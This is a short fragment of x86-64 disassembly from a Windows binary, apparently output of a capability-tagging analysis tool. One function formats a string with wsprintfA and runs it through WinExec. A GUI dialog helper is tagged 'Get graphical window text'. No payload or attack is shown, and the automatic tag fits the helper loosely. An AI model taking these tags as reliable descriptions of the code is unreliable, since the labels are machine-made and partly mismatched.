xor rax, rsp
mov qword [rsp + 0x140], rax
mov rdi, rcx
mov rsi, rdx
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x30], 0
call fcn.1400e1fc0
mov dl, 0x1a
mov rcx, rsi
call fcn.1400cee94
xor edx, edx
mov rcx, rax
mov rbx, rax
call fcn.1400cfc84
lea rdx, str._s_s__s
lea rcx, [rsp + 0x30]
mov r9, rsi
mov r8, rdi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.USER32.dll_wsprintfA]
lea rcx, [rsp + 0x30]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.1400e2890
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x1400d8774
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, rcx
mov rcx, qword [rcx + 0x40]
mov rbx, r8
call fcn.1400deed0
mov rsi, rax
test rax, rax
je 0x1400d87f0
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDlgCtrlID]
mov edi, eax
test rbx, rbx
je 0x1400d87eb
cmp dword [rbx], 0x40
jb 0x1400d87eb
mov rcx, qword [rbp + 0x40]
or dword [rbx + 4], 1
or qword [rbx + 0x30], 0xffffffffffffffff
mov qword [rbx + 8], rcx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x87
mov rcx, rsi
mov qword [rbx + 0x10], rsi
call qword [sym.imp.USER32.dll_SendMessageA]
bt rax, 0xd
jb 0x1400d87eb
or dword [rbx + 4], 0x80000002
mov rax, rdi
jmp 0x1400d87f4
or rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret